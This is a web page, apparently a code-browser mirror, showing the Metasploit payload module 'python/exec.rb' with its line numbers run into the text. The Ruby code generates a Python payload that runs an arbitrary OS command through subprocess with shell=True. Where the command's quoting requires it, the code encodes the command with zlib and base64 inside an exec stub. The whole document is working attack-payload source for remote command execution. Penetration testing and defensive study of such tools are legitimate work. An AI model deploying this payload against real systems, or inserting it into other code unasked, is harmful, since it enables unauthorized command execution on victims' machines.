Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/python/exec.rb
Views: 11766
module MetasploitModule1CachedSize = 24823include Msf::Payload::Single4include Msf::Payload::Python56def initialize(info = {})7super(8merge_info(9info,10'Name' => 'Python Execute Command',11'Description' => 'Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.',12'Author' => 'Spencer McIntyre',13'License' => MSF_LICENSE,14'Platform' => 'python',15'Arch' => ARCH_PYTHON,16'PayloadType' => 'python',17'Payload' => {18'Offsets' => {},19'Payload' => ''20}21)22)23register_options(24[25OptString.new('CMD', [ true, 'The command string to execute' ]),26]27)28end2930def generate(_opts = {})31super + command_string32end3334def command_string35py_code = %(from subprocess import Popen,PIPE\n)3637# try to just use raw strings if nothing would need to be escaped38if !datastore['CMD'].include?("'")39py_code << %(args=[r'#{datastore['CMD']}']\n)40elsif !datastore['CMD'].include?('"')41py_code << %(args=[r"#{datastore['CMD']}"]\n)42elsif !datastore['CMD'].include?("'''")43py_code << %(args=[r'''#{datastore['CMD']}''']\n)44elsif !datastore['CMD'].include?('"""')45py_code << %(args=[r"""#{datastore['CMD']}"""]\n)46else47encoded = Rex::Text.encode_base64(Rex::Text.zlib_deflate(datastore['CMD']))48py_code << %{import zlib,base64;args=[zlib.decompress(base64.b64decode('#{encoded}')).decode()]\n}49end5051py_code << %{Popen(args,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)\n}5253py_create_exec_stub(py_code)54end55end565758